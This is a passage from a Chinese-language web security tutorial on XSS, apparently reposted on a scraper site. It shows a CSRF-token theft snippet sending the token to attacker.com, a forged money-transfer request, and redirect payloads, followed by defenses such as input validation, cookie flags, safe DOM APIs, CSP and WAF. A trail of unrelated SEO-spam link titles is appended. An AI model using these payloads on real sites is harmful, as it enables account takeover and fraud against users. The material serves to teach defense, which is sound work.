    然后釣魚網(wǎng)站的管理員每天會到自己的 QQ 空間釣魚管理中心里面看看今天又有哪些人上鉤
    在這里插入圖片描述

3. XSS + CSRF(跨站請求偽造)結(jié)合

通過這種方式可繞過CSRF Token保護。
首先利用XSS竊取用戶的CSRF Token:

const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('https://attacker.com/steal?token=' + csrfToken);

然后偽造敏感操作請求(如轉(zhuǎn)賬):

fetch('/transfer', {method: 'POST',headers: {'X-CSRF-Token': csrfToken},body: 'to=attacker&amount=1000'
});

4. 任意網(wǎng)頁跳轉(zhuǎn)引流

網(wǎng)頁跳轉(zhuǎn),等同于任意url跳轉(zhuǎn)。通過下面代碼,強制跳轉(zhuǎn)到對應(yīng)網(wǎng)頁,進行引流

<script>window.location.href="https://www.baidu.com"</script>
<meta content="1;http://www.baidu.com/" http-equiv="refresh">

五、防御手段

1. 校驗用戶輸入

  • 不信任任何用戶輸入:所有輸入數(shù)據(jù)均視為潛在惡意。過濾危險字符等
  • 白名單機制:僅允許符合預(yù)期格式的輸入。

2. 安全Cookie限制

HttpOnly:阻止JavaScript訪問Cookie。
Secure:僅通過HTTPS傳輸Cookie。
SameSite:防止跨站請求偽造(CSRF)。

3. 避免使用高危API

  1. element.textContent替換element.innerHTML
  2. document.createElement()替換高危的document.write()
  3. JSON.parse()、函數(shù)封裝替換eval()
  4. document.textContent替代innerHTML,避免DOM型XSS

4. 使用CSP(內(nèi)容安全策略)

通過HTTP頭 Content-Security-Policy 限制資源加載和腳本執(zhí)行,限制頁面加載外部資源,阻止未經(jīng)授權(quán)的腳本執(zhí)行。
參考配置:

Content-Security-Policy: default-src 'none';script-src 'self' https://trusted-cdn.com;img-src 'self';style-src 'self' 'unsafe-inline';connect-src 'self';form-action 'self';frame-ancestors 'none';report-uri /csp-report;

5. 使用WAF

使用WAF(web應(yīng)用防火墻),規(guī)則示例:攔截包含

參考文章:
https://cn-sec.com/archives/2682617.html
https://xz.aliyun.com/news/8054

http://aloenet.com.cn/news/44130.html

相關(guān)文章:

  • 網(wǎng)站的相關(guān)鏈接怎么做濟南seo網(wǎng)絡(luò)優(yōu)化公司
  • wordpress軟件下載源碼搜索引擎優(yōu)化的名詞解釋
  • 網(wǎng)站建設(shè)銷售實習(xí)報告臨沂網(wǎng)站建設(shè)
  • 什么平臺引流最快太原seo網(wǎng)絡(luò)優(yōu)化招聘網(wǎng)
  • 自建網(wǎng)站成都搜索引擎營銷方案
  • 網(wǎng)站開發(fā)工具webs國家免費培訓(xùn)機構(gòu)
  • 教育機構(gòu)電商網(wǎng)站建設(shè)加盟福州seo招聘
  • 網(wǎng)站功能介紹是什么百度應(yīng)用商店下載
  • 中國著名的網(wǎng)站建設(shè)公司百度熱搜電視劇
  • 秦皇島企業(yè)建網(wǎng)站廣東seo外包服務(wù)
  • 南京企業(yè)建設(shè)網(wǎng)站設(shè)計網(wǎng)絡(luò)推廣都是收費
  • h5 技術(shù)做健康類網(wǎng)站網(wǎng)絡(luò)優(yōu)化公司有哪些
  • ipv6網(wǎng)站建設(shè)如何自制網(wǎng)站
  • 清河做網(wǎng)站軟文是什么意思
  • 網(wǎng)站開發(fā)需要20萬百度云網(wǎng)盤免費資源
  • 合肥網(wǎng)站建設(shè)推廣友情鏈接怎么做
  • 西部數(shù)碼網(wǎng)站工具免費建站平臺哪個好
  • 東陽網(wǎng)站建設(shè)dyfwzx友情鏈接吧
  • 沈陽網(wǎng)站建設(shè)建設(shè)公司排名優(yōu)化seo系統(tǒng)
  • 重慶網(wǎng)站設(shè)計公司價格丈哥seo博客工具
  • 如何搭建一個個人網(wǎng)站學(xué)校招生網(wǎng)絡(luò)營銷方案
  • 給公司網(wǎng)站設(shè)計寧波廠家關(guān)鍵詞優(yōu)化
  • 智聯(lián)招聘網(wǎng)站建設(shè)情況注冊城鄉(xiāng)規(guī)劃師好考嗎
  • jqueryui做的網(wǎng)站株洲seo排名
  • 寧波做網(wǎng)站的大公司排名關(guān)鍵詞搜索推廣排行榜
  • 如何免費網(wǎng)站建設(shè)怎么可以在百度發(fā)布信息
  • 做網(wǎng)站運營的女生多嗎百度公司簡介
  • 上海小微企業(yè)名錄查詢seo短視頻網(wǎng)頁入口營銷
  • 公司網(wǎng)站建設(shè)北京北京做百度推廣的公司
  • 網(wǎng)站開發(fā)用啥語言廣州各區(qū)正在進一步優(yōu)化以下措施